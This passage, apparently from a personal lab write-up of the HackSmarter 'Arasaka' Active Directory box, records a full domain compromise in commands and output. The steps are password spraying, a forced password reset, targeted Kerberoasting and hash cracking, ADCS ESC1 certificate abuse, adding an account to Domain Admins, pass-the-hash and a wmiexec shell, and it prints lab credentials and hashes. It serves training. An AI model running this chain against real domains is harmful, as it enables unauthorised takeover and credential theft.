┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc ldap 10.1.217.131 -u alt.svc -p 'babygirl1' --bloodhound --collection All --dns-server 10.1.217.131 LDAP 10.1.217.131 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hacksmarter.local) LDAP 10.1.217.131 389 DC01 [+] hacksmarter.local\\alt.svc:babygirl1 LDAP 10.1.217.131 389 DC01 Resolved collection methods: group, rdp, psremote, dcom, container, localadmin, trusts, session, acl, objectprops LDAP 10.1.217.131 389 DC01 Done in 00M 07S LDAP 10.1.217.131 389 DC01 Compressing output into /root/.nxc/logs/DC01_10.1.217.131_2025-12-28_161114_bloodhound.zip ``` {% endcode %} * Right off of the bat we see that alt.svc has `GenericAll` over `Yorinobu` who we’ve identified as being a member of the Remote Users Group. * `Faraday` doesn’t have anything special as far as permissions or outbound object control #### Attack Path: * Change the password for the `Yorinobu` user (assumed we have permission to change this) (NEED TO DO CLEANUP ON THIS USER AFTERWARDS) * See what path we can take from `Yorinobu` to get to `the_emporer` (aka `Saburo Arasaka`) *** ### 3.9: Domain Trust Enumeration N/A as this machine is a single DC *** ## Phase 4: Exploitation & Privilege Escalation ### 4.1: Password Attacks #### Already cracked the password of the `alt.svc` user ```bash alt.svc:babygirl1 ``` #### Password Spray of `babygirl1` since I negelected to do that earlier (No password reuse) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u arasaka_users.txt -p 'babygirl1' --continue-on-success [sudo] password for kali: SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\administrator:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Administrator:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\hanako:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\hellman:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\smasher:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\goro:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\faraday:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\alt.svc:babygirl1 SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Yorinobu:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Hanako:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Faraday:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Smasher:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Soulkiller.svc:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Hellman:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\kei.svc:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Silverhand.svc:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\Oda:babygirl1 STATUS_LOGON_FAILURE SMB 10.1.217.131 445 DC01 [-] hacksmarter.local\\the_emperor:babygirl1 STATUS_LOGON_FAILURE ``` {% endcode %} #### No documents found in SMB that would have anything to crack password-wise *** ### 4.2: Lateral Movement Preparation #### Current hosts accessible with credentials: ```bash dc01.hacksmarter.local faraday:hacksmarter123 alt.svc:babygirl1 ``` #### SMB/RDP/WinRM access is N/A, as only `Yorinobu` has Remote Users access; will check SMB once `Yorinobu` has password changed *** ### 4.3: Exploit Active Directory Misconfigurations #### Abuse `GenericAll` over `Yorinobu` by the `alt.svc` account {% code overflow="wrap" expandable="true" %} ```bash net rpc password "Yorinobu" "HackSmarter123!" -U "HACKSMARTER"/"alt.svc"%"babygirl1" -S "10.1.217.131" ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ net rpc password "Yorinobu" 'HackSmarter123!' -U "HACKSMARTER"/"alt.svc"%"babygirl1" -S "10.1.217.131" ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u Yorinobu -p 'HackSmarter123!' --shares SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\Yorinobu:HackSmarter123! SMB 10.1.217.131 445 DC01 [*] Enumerated shares SMB 10.1.217.131 445 DC01 Share Permissions Remark SMB 10.1.217.131 445 DC01 ----- ----------- ------ SMB 10.1.217.131 445 DC01 ADMIN$ Remote Admin SMB 10.1.217.131 445 DC01 C$ Default share SMB 10.1.217.131 445 DC01 IPC$ READ Remote IPC SMB 10.1.217.131 445 DC01 NETLOGON READ Logon server share SMB 10.1.217.131 445 DC01 SYSVOL READ Logon server share ``` {% endcode %} * No extra SMB READ access * Proof that the password was indeed changed to `HackSmarter123!` Running Bloodhound collection on `Yorinobu`: {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc ldap 10.1.217.131 -u Yorinobu -p 'HackSmarter123!' --bloodhound --collection All --dns-server 10.1.217.131 LDAP 10.1.217.131 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hacksmarter.local) LDAP 10.1.217.131 389 DC01 [+] hacksmarter.local\\Yorinobu:HackSmarter123! LDAP 10.1.217.131 389 DC01 Resolved collection methods: trusts, rdp, group, psremote, dcom, container, session, objectprops, acl, localadmin LDAP 10.1.217.131 389 DC01 Done in 00M 07S LDAP 10.1.217.131 389 DC01 Compressing output into /root/.nxc/logs/DC01_10.1.217.131_2025-12-28_163347_bloodhound.zip ``` {% endcode %} #### New Attack Path: * `Yorinobu` has `GenericWrite` over `SoulKiller.svc` (this account is the certificate management for the AI service they use) * Either targetedkerberoast or shadow creds attack on `SoulKiller.svc` * `SoulKiller.svc` probably should have certipy-ad run on it? I don’t see anything else in BH that makes this user interesting right away #### TargetedKerberoast {% code overflow="wrap" expandable="true" %} ```bash targetedKerberoast.py -v -d 'hacksmarter.local' -u 'Yorinobu' -p 'HackSmarter123!' ┌──(kali㉿kali)-[/opt/targetedKerberoast] └─$ python3 targetedKerberoast.py -v -d 'hacksmarter.local' -u 'Yorinobu' -p 'HackSmarter123!' [*] Starting kerberoast attacks [*] Fetching usernames from Active Directory with LDAP [+] Printing hash for (alt.svc) $krb5tgs$23$*alt.svc$HACKSMARTER.LOCAL$hacksmarter.local/alt.svc*$cede410f8257bd3b6a78791fca6e06ee$11e64031071a768bae86aaf8175350468550094bbcb76201db44e1aa8bf4b821bda70ccbb63934d4275d78c4a146a579dcc672d2fd8c6b8b6b4d41a3fe35f6d49002cfb89d5df36ea5c940bd9c5d5f2dd9d4b315d38b15cd049e19908aae13ac87e90753ba3d1976641db8cfa3bbf414f3def553fa00c5611ee64b0c4046e291e346a353d497df787406a0b0e9f30f8245bb0bbcd0b5d2bf4e4ec5113272fcdf234821ca3370b2a9df5c0ff801ea278481f70330dc3d5bf7497daae2d23048282cfc413d10aa16a4748adab453871bd803712d1a981dff6917c0d6b359b0bb9381d77a164c4df7dedfa948731473bbce852419203998b7afbc885b8dac1482aa9a211c1e845545c32dda091902144a8445d25894d67d94cb06cdbd0f5fce7195f1ebc855663b89389c88dc5e2d178ebc13ea0b8e76121064d0e15846ab67f8c113d2225f1c925d2be1d0fb08511f4853f830930a7cd1b1ebf6c7108a932ee00903efc789e43c7d48548e4d0d9912885259d524d1d6fab80168d837b261a29c0ec168b864bb495c9ed5e11d23735de7228ceea37426bd1349d7a1432d35625486c2917447e6cfddfea27cf98023223b35ce21eed9fe0dc43446fd8fc288646fcdecc8dd23798c8bb9cacf3dd33905d3f27c5994a11591837855e03c0378370151989da613005a807abb499bdd885c9b66a1603967442b55291e3aac172b82fd71644a8596195a034be9a71afa556b7a904ce744d6d4c062909a95b4b7be3ad6a17865691d88141b82395ebd412a03285b904b6eacd9a82800562d56d9add56a13e3d33c7888ecaa8e104e9954a165d76f7ec799af65ee63c3053a16a015b8a35b82a8b8cd9490b29f9ddc6c3a13d0371ac4827bf32ceb1853de7fd0dc6286ca33c97875538e655d4bf6984177ce814d627632bca07d8b285aaba6a844bb03e769e0f4141f587886a663dbb91433cf310407edc83e1368aefcbdbfe5e3523bf19991edba81440ddd0f46d49588ebf33c9e1294c46405fbf1f2278b758e3ad3700d94a723bca06f220f4622f07c6ff6df2dd084aa9efdbbe0cf3ebaa5a3054fc1db554e32725ab54e2e054877dc18fbca49d1c273cc699d2437b5bcbf23577c032616d2794dbeab57d619a7f85caf4adbabb880c53b9cedb9e2554b652184f2682ad09d48ebdec49e26311764c5376e3b047783f3508af87ca7c4636964a9f81b6f35dd367d6b3bb7a19f7c649f23bac69abe02c13301e134744de43b3fba63d5d7fac35408d1fae03ea7f1bacb70aafc297b6924b669d1860e86c7390c811b570af8ab66b92bde663c9c4651fd8ac99b553140152a3d901214c04777735efc096f5f3ab9289dc58fb91c7a72457ee534b416436a63787e320b369afed970a64204bbf1a6b36dc9205d54512c30b86fe35e5ef8a6290a178e25f4e66d54538b9ae499d78efe384cca573603eb1d40c0cd32992e9dcf390995bb49ba502a62ce24c7c8074b18de5ad37a279184bf7bf6442c3ac68f54db02fd9fd85599b6f0c67d8a2f387dc0ff18f43d0029e57f71b2a35b853d [VERBOSE] SPN added successfully for (Soulkiller.svc) [+] Printing hash for (Soulkiller.svc) $krb5tgs$23$*Soulkiller.svc$HACKSMARTER.LOCAL$hacksmarter.local/Soulkiller.svc*$d7075e6053a92d40407bbc3cf0efcb9b$f103e707e98c5199e636d32b3f7be50a73216125014bec3e985db943e15c1a53360462a47edf0b372e0bcf3265cc0b486060a402846ca81095caa5e682a6d231b9321e747d5c9677fd92111dfa6eb3f7d68bfa6b70d32a02dfdea5a48be3cc54694ce821e3c0332699daa42ebbe97774fb88b9f1b76049b36182d3c170a4cca7b9b081fb230cae5ebced2fee35c4e2d28509715d2e3c3ab301c01630e81e922b79fbc29e00f6c233148e6da6cbbc2835dec5a25f3d88353055d43035d302f2baabc90d921bb7858e87085ce138f30dadea44449f46b6c2a4ecfa7da0e473e8c884e64cb64037bf5f88f02a0ed4d57ea7505fdd7ac5438add6e7c35ea6d35d8dbdc7898dc044643f207a6018b6dd4b45d0f17bef85f7c31e051444f099f59bc717762e6d2ff62fe0fa0f5908f26168f38000bbde435b292ed2029b80e0173bba89f8812f9ec205fccb16e6e5d97856f80a3aa9488a1d1db5288d13c7e2be3e9c150252f5a039fb07cc68f28fbe7a07d402f33daee3f80b1fb155d42db9794ae2ffedcfd8524e652597ffce3098aac5d4b4d416f22ea5bdaa2a7a699a1d309d8fd2928675c09826644d390d66d004cae013c559b0471b910b61ce993f5d582790638fc0caf2a8f7b7e86f9bb0a41f7f354b370a00ee17ff2931cd4b44e3b145bc12dc58c317b416b0880f3ab06c5169923cfbd9eba83268a6f82c096d8dbf2009c5e03bc7c90a35cc3ac6afba27788bc5a2ac37f6c07d84a2d50baad034ad88dfac54d12e8bd62adfbd454a04eab853fda6035836b64b906bdb148831763b5a56c3c641897a3da6b8fc66fff65caa5c00f63ddceed62d48471cf55cceeba0636d501c5d37d98bb1f406238524f6dab637605f45113283744359170ab45796a1b9b6006092f3d370527bfd8684dc0ca87fc661eac2fb0fa3cefc3eb69dbdd092919da04860ca22c4751615b7a7e3175cb33fb45718ae9866eaae48c9e5848ec69f13e924e7040b1491cafc7d7184b247d864c2bf3a1b17bf2aa054a6daa18188d140dda573888a03f6db39d05a99b9e9de71ba107845bd60c854ee083f33afaa78634f9428904697dcec96b1bbc9c4a4397b3b4d77fab60026c3bbde21bd75736afa2e5dfb39cdc1b189e2486ac444b87bc93c10967c1e3214d7f75f5d531105a90f2efc806d8ded347d7c7c20fd37e042c61e898b0ee95812f5d5c306d2c541f70918937425229e93f706501ca313a27b8755b2fff3f67fdc850949aee747773c4b1e593d0ad2a562f9d32af8d1d668404934d1f5d25ba8bf524efdccd0f392c4571f3ddf43e546fff62ef83aa6835b38b9c66cae5dedd3ef141292aff50681c18ea43c3986432323bd933f89f36d9ba0365825d6d6921a53be589102b4e1821ad1ccf2fbc21e59a96c44a8abb21e44fdcefc07919aad85c87eaebfb3b0e5247c3f92123b5c91873e62f14f7ae7667b72f3e144c53f263c7fb9f352d9b3f8098df755efa1016a6077258f57095677bf82a4f909fb65fdfe005a49d7e398f5bfb21f8b686fd9afb36e21d854edefbc16e64b8a7 [VERBOSE] SPN removed successfully for (Soulkiller.svc) ``` {% endcode %} Cracking the password for `SoulKiller.svc` {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ hashcat -m 13100 soulkiller.hash /usr/share/wordlists/rockyou.txt hashcat (v7.1.2) starting OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ==================================================================================================================================================== * Device #01: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz, 6957/13914 MB (2048 MB allocatable), 4MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Minimum salt length supported by kernel: 0 Maximum salt length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Temperature abort trigger set to 90c Host memory allocated for this attack: 513 MB (10454 MB free) Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 $krb5tgs$23$*Soulkiller.svc$HACKSMARTER.LOCAL$hacksmarter.local/Soulkiller.svc*$d7075e6053a92d40407bbc3cf0efcb9b$f103e707e98c5199e636d32b3f7be50a73216125014bec3e985db943e15c1a53360462a47edf0b372e0bcf3265cc0b486060a402846ca81095caa5e682a6d231b9321e747d5c9677fd92111dfa6eb3f7d68bfa6b70d32a02dfdea5a48be3cc54694ce821e3c0332699daa42ebbe97774fb88b9f1b76049b36182d3c170a4cca7b9b081fb230cae5ebced2fee35c4e2d28509715d2e3c3ab301c01630e81e922b79fbc29e00f6c233148e6da6cbbc2835dec5a25f3d88353055d43035d302f2baabc90d921bb7858e87085ce138f30dadea44449f46b6c2a4ecfa7da0e473e8c884e64cb64037bf5f88f02a0ed4d57ea7505fdd7ac5438add6e7c35ea6d35d8dbdc7898dc044643f207a6018b6dd4b45d0f17bef85f7c31e051444f099f59bc717762e6d2ff62fe0fa0f5908f26168f38000bbde435b292ed2029b80e0173bba89f8812f9ec205fccb16e6e5d97856f80a3aa9488a1d1db5288d13c7e2be3e9c150252f5a039fb07cc68f28fbe7a07d402f33daee3f80b1fb155d42db9794ae2ffedcfd8524e652597ffce3098aac5d4b4d416f22ea5bdaa2a7a699a1d309d8fd2928675c09826644d390d66d004cae013c559b0471b910b61ce993f5d582790638fc0caf2a8f7b7e86f9bb0a41f7f354b370a00ee17ff2931cd4b44e3b145bc12dc58c317b416b0880f3ab06c5169923cfbd9eba83268a6f82c096d8dbf2009c5e03bc7c90a35cc3ac6afba27788bc5a2ac37f6c07d84a2d50baad034ad88dfac54d12e8bd62adfbd454a04eab853fda6035836b64b906bdb148831763b5a56c3c641897a3da6b8fc66fff65caa5c00f63ddceed62d48471cf55cceeba0636d501c5d37d98bb1f406238524f6dab637605f45113283744359170ab45796a1b9b6006092f3d370527bfd8684dc0ca87fc661eac2fb0fa3cefc3eb69dbdd092919da04860ca22c4751615b7a7e3175cb33fb45718ae9866eaae48c9e5848ec69f13e924e7040b1491cafc7d7184b247d864c2bf3a1b17bf2aa054a6daa18188d140dda573888a03f6db39d05a99b9e9de71ba107845bd60c854ee083f33afaa78634f9428904697dcec96b1bbc9c4a4397b3b4d77fab60026c3bbde21bd75736afa2e5dfb39cdc1b189e2486ac444b87bc93c10967c1e3214d7f75f5d531105a90f2efc806d8ded347d7c7c20fd37e042c61e898b0ee95812f5d5c306d2c541f70918937425229e93f706501ca313a27b8755b2fff3f67fdc850949aee747773c4b1e593d0ad2a562f9d32af8d1d668404934d1f5d25ba8bf524efdccd0f392c4571f3ddf43e546fff62ef83aa6835b38b9c66cae5dedd3ef141292aff50681c18ea43c3986432323bd933f89f36d9ba0365825d6d6921a53be589102b4e1821ad1ccf2fbc21e59a96c44a8abb21e44fdcefc07919aad85c87eaebfb3b0e5247c3f92123b5c91873e62f14f7ae7667b72f3e144c53f263c7fb9f352d9b3f8098df755efa1016a6077258f57095677bf82a4f909fb65fdfe005a49d7e398f5bfb21f8b686fd9afb36e21d854edefbc16e64b8a7:MYpassword123# Session..........: hashcat Status...........: Cracked Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) Hash.Target......: $krb5tgs$23$*Soulkiller.svc$HACKSMARTER.LOCAL$hacks...64b8a7 Time.Started.....: Sun Dec 28 16:48:01 2025 (6 secs) Time.Estimated...: Sun Dec 28 16:48:07 2025 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 1692.7 kH/s (1.56ms) @ Accel:1024 Loops:1 Thr:1 Vec:16 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 10846208/14344385 (75.61%) Rejected.........: 0/10846208 (0.00%) Restore.Point....: 10842112/14344385 (75.58%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#01...: Magic01 -> MYSELFonly4EVER Hardware.Mon.#01.: Util: 74% Started: Sun Dec 28 16:48:00 2025 Stopped: Sun Dec 28 16:48:09 2025 ``` {% endcode %} New Creds! ```bash SoulKiller.svc:MYpassword123# Yorinobu:HackSmarter123! faraday:hacksmarter123 alt.svc:babygirl1 ``` Checking SMB: {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u SoulKiller.svc -p 'MYpassword123#' --shares SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\SoulKiller.svc:MYpassword123# SMB 10.1.217.131 445 DC01 [*] Enumerated shares SMB 10.1.217.131 445 DC01 Share Permissions Remark SMB 10.1.217.131 445 DC01 ----- ----------- ------ SMB 10.1.217.131 445 DC01 ADMIN$ Remote Admin SMB 10.1.217.131 445 DC01 C$ Default share SMB 10.1.217.131 445 DC01 IPC$ READ Remote IPC SMB 10.1.217.131 445 DC01 NETLOGON READ Logon server share SMB 10.1.217.131 445 DC01 SYSVOL READ Logon server share ``` {% endcode %} * Nothing fun, but confirmed that the cracked password is successful #### Now using the credentials for the `SoulKiller.svc` account, I will run certipy-ad (Found ESC 1) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo certipy-ad find -u SoulKiller.svc@hacksmarter.local -p 'MYpassword123#' -vulnerable Certipy v5.0.4 - by Oliver Lyak (ly4k) [!] DNS resolution failed: The DNS query name does not exist: HACKSMARTER.LOCAL. [!] Use -debug to print a stacktrace [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 14 issuance policies [*] Found 0 OIDs linked to templates [!] DNS resolution failed: The DNS query name does not exist: DC01.hacksmarter.local. [!] Use -debug to print a stacktrace [*] Retrieving CA configuration for 'hacksmarter-DC01-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Successfully retrieved CA configuration for 'hacksmarter-DC01-CA' [*] Checking web enrollment for CA 'hacksmarter-DC01-CA' @ 'DC01.hacksmarter.local' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [*] Saving text output to '20251228165244_Certipy.txt' [*] Wrote text output to '20251228165244_Certipy.txt' [*] Saving JSON output to '20251228165244_Certipy.json' [*] Wrote JSON output to '20251228165244_Certipy.json' ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ cat 20251228165244_Certipy.json { "Certificate Authorities": { "0": { "CA Name": "hacksmarter-DC01-CA", "DNS Name": "DC01.hacksmarter.local", "Certificate Subject": "CN=hacksmarter-DC01-CA, DC=hacksmarter, DC=local", "Certificate Serial Number": "1DBC9F9ECF287FB04FDE66106578611F", "Certificate Validity Start": "2025-09-21 15:32:14+00:00", "Certificate Validity End": "2030-09-21 15:42:14+00:00", "Web Enrollment": { "http": { "enabled": false }, "https": { "enabled": false, "channel_binding": null } }, "User Specified SAN": "Disabled", "Request Disposition": "Issue", "Enforce Encryption for Requests": "Enabled", "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy", "Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Administrators", "Access Rights": { "1": [ "HACKSMARTER.LOCAL\\\\Administrators", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "2": [ "HACKSMARTER.LOCAL\\\\Administrators", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "512": [ "HACKSMARTER.LOCAL\\\\Authenticated Users" ] } } } }, "Certificate Templates": { "0": { "Template Name": "AI_Takeover", "Display Name": "AI_Takeover", "Certificate Authorities": [ "hacksmarter-DC01-CA" ], "Enabled": true, "Client Authentication": true, "Enrollment Agent": false, "Any Purpose": false, "Enrollee Supplies Subject": true, "Certificate Name Flag": [ 1 ], "Enrollment Flag": [ 1, 8 ], "Private Key Flag": [ 16 ], "Extended Key Usage": [ "Client Authentication", "Secure Email", "Encrypting File System" ], "Requires Manager Approval": false, "Requires Key Archival": false, "Authorized Signatures Required": 0, "Schema Version": 2, "Validity Period": "1 year", "Renewal Period": "6 weeks", "Minimum RSA Key Length": 2048, "Template Created": "2025-09-21 16:16:36+00:00", "Template Last Modified": "2025-09-21 16:16:36+00:00", "Permissions": { "Enrollment Permissions": { "Enrollment Rights": [ "HACKSMARTER.LOCAL\\\\Soulkiller.svc", "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] }, "Object Control Permissions": { "Owner": "HACKSMARTER.LOCAL\\\\Administrator", "Full Control Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Owner Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Dacl Principals": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ], "Write Property Enroll": [ "HACKSMARTER.LOCAL\\\\Domain Admins", "HACKSMARTER.LOCAL\\\\Enterprise Admins" ] } }, "[+] User Enrollable Principals": [ "HACKSMARTER.LOCAL\\\\Soulkiller.svc" ], "[!] Vulnerabilities": { "ESC1": "Enrollee supplies subject and template allows client authentication." } } } } ``` {% endcode %} * ESC1, just like Welcome #### Now that we found ESC 1, the new attack path will be the same as Welcome machine #### Step 1: Request the pfx of `administrator` {% code overflow="wrap" expandable="true" %} ```bash certipy req -u 'SoulKiller.svc' -p 'MYpassword123#' -ca 'hacksmarter-DC01-CA' -template 'AI_Takeover' -upn 'administrator@hacksmarter.local' -dc-ip 10.1.217.131 -target DC01.hacksmarter.local ┌──(certipy-venv)─(kali㉿kali)-[~/hacksmarter/arasaka] └─$ certipy req -u 'SoulKiller.svc' -p 'MYpassword123#' -ca 'hacksmarter-DC01-CA' -template 'AI_Takeover' -upn 'administrator@hacksmarter.local' -dc-ip 10.1.217.131 -target DC01.hacksmarter.local Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Request ID is 3 [*] Successfully requested certificate [*] Got certificate with UPN 'administrator@hacksmarter.local' [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to 'administrator.pfx' [*] Wrote certificate and private key to 'administrator.pfx' ``` {% endcode %} #### Step 2: Authenticate as `administrator` to obtain the hash {% code overflow="wrap" expandable="true" %} ```bash certipy auth -pfx administrator.pfx -dc-ip 10.1.217.131 ┌──(certipy-venv)─(kali㉿kali)-[~/hacksmarter/arasaka] └─$ certipy auth -pfx administrator.pfx -dc-ip 10.1.217.131 Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN UPN: 'administrator@hacksmarter.local' [*] Using principal: 'administrator@hacksmarter.local' [*] Trying to get TGT... [-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Password has expired; change password to reset) [-] Use -debug to print a stacktrace [-] See the wiki for more information ``` {% endcode %} * Got this error, will need to try Step 1, and maybe investigate #### Found out that I can request an ldap shell to change the password myself ```bash ┌──(certipy-venv)─(kali㉿kali)-[~/hacksmarter/arasaka] └─$ certipy auth -pfx administrator.pfx -dc-ip 10.1.217.131 -ldap-shell Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN UPN: 'administrator@hacksmarter.local' [*] Connecting to 'ldaps://10.1.217.131:636' [*] Authenticated to '10.1.217.131' as: 'u:HACKSMARTER\\\\Administrator' Type help for list of commands # change_password administrator 'HackSmarter123!!' Got User DN: CN=Administrator,CN=Users,DC=hacksmarter,DC=local Attempting to set new password of: HackSmarter123!! Password changed successfully! ``` #### Step 3: Authenticate as `administrator` to obtain the hash (working this time after changing the password) {% code overflow="wrap" expandable="true" %} ```bash ┌──(certipy-venv)─(kali㉿kali)-[~/hacksmarter/arasaka] └─$ certipy auth -pfx administrator.pfx -dc-ip 10.1.217.131 Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN UPN: 'administrator@hacksmarter.local' [*] Using principal: 'administrator@hacksmarter.local' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'administrator.ccache' [*] Wrote credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@hacksmarter.local': aad3b435b51404eeaad3b435b51404ee:793879693ebccf7e0222e8a1950a58d3 ``` {% endcode %} #### Also gave the `SoulKiller.svc` account Domain Admin access just as a POC ```bash # add_user_to_group SoulKiller.svc "Domain Admins" Adding user: Soulkiller.svc to group Domain Admins result: OK ``` #### Proof of changing the password for the DA to `HackSmarter123!!` using the Hash as credentials {% code overflow="wrap" expandable="true" %} ```bash ┌──(certipy-venv)─(kali㉿kali)-[~/hacksmarter/arasaka] └─$ nxc smb HACKSMARTER.local -u administrator -H aad3b435b51404eeaad3b435b51404ee:793879693ebccf7e0222e8a1950a58d3 SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\administrator:793879693ebccf7e0222e8a1950a58d3 (Pwn3d!) ``` {% endcode %} #### Step4: Using [wmiexec.py](http://wmiexec.py) to obtain a shell as administrator {% code overflow="wrap" expandable="true" %} ```bash sudo python3 wmiexec2.py HACKSMARTER.local/Administrator@10.1.217.131 -hashes :793879693ebccf7e0222e8a1950a58d3 -no-pass -debug ┌──(wmiexec-venv)─(kali㉿kali)-[/opt/wmiexec2] └─$ sudo python3 wmiexec2.py HACKSMARTER.local/administrator@10.1.217.131 -hashes :793879693ebccf7e0222e8a1950a58d3 -no-pass -debug Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket [*] SMBv3.0 dialect used [+] Target system is 10.1.217.131 and isFQDN is False [+] StringBinding: DC01[59963] [+] StringBinding: 10.1.217.131[59963] [+] StringBinding chosen: ncacn_ip_tcp:10.1.217.131[59963] [*] Output Filename: \\TeMp\\0qr-pyp8-1xe [*] **Launching wmiexec2** [*] Press help for extra shell commands C:\\> whoami hacksmarter\\administrator C:\\> ls Volume in drive C has no label. Volume Serial Number is 90AC-D439 Directory of C:\\ 05/08/2021 08:14 AM 1 BOOTNXT 05/08/2021 08:20 AM PerfLogs 08/18/2021 11:34 PM Documents and Settings [C:\\Users] 08/19/2021 06:24 AM EFI 08/19/2021 06:35 AM Program Files 07/12/2023 02:40 AM Program Files (x86) 08/10/2023 03:56 AM $WinREAgent 08/10/2023 04:02 AM 438,018 bootmgr 08/10/2023 04:07 AM Boot 09/18/2025 10:39 PM Recovery 09/21/2025 02:41 AM $Recycle.Bin 09/21/2025 02:53 AM System Volume Information 09/21/2025 03:26 PM Users 09/21/2025 03:42 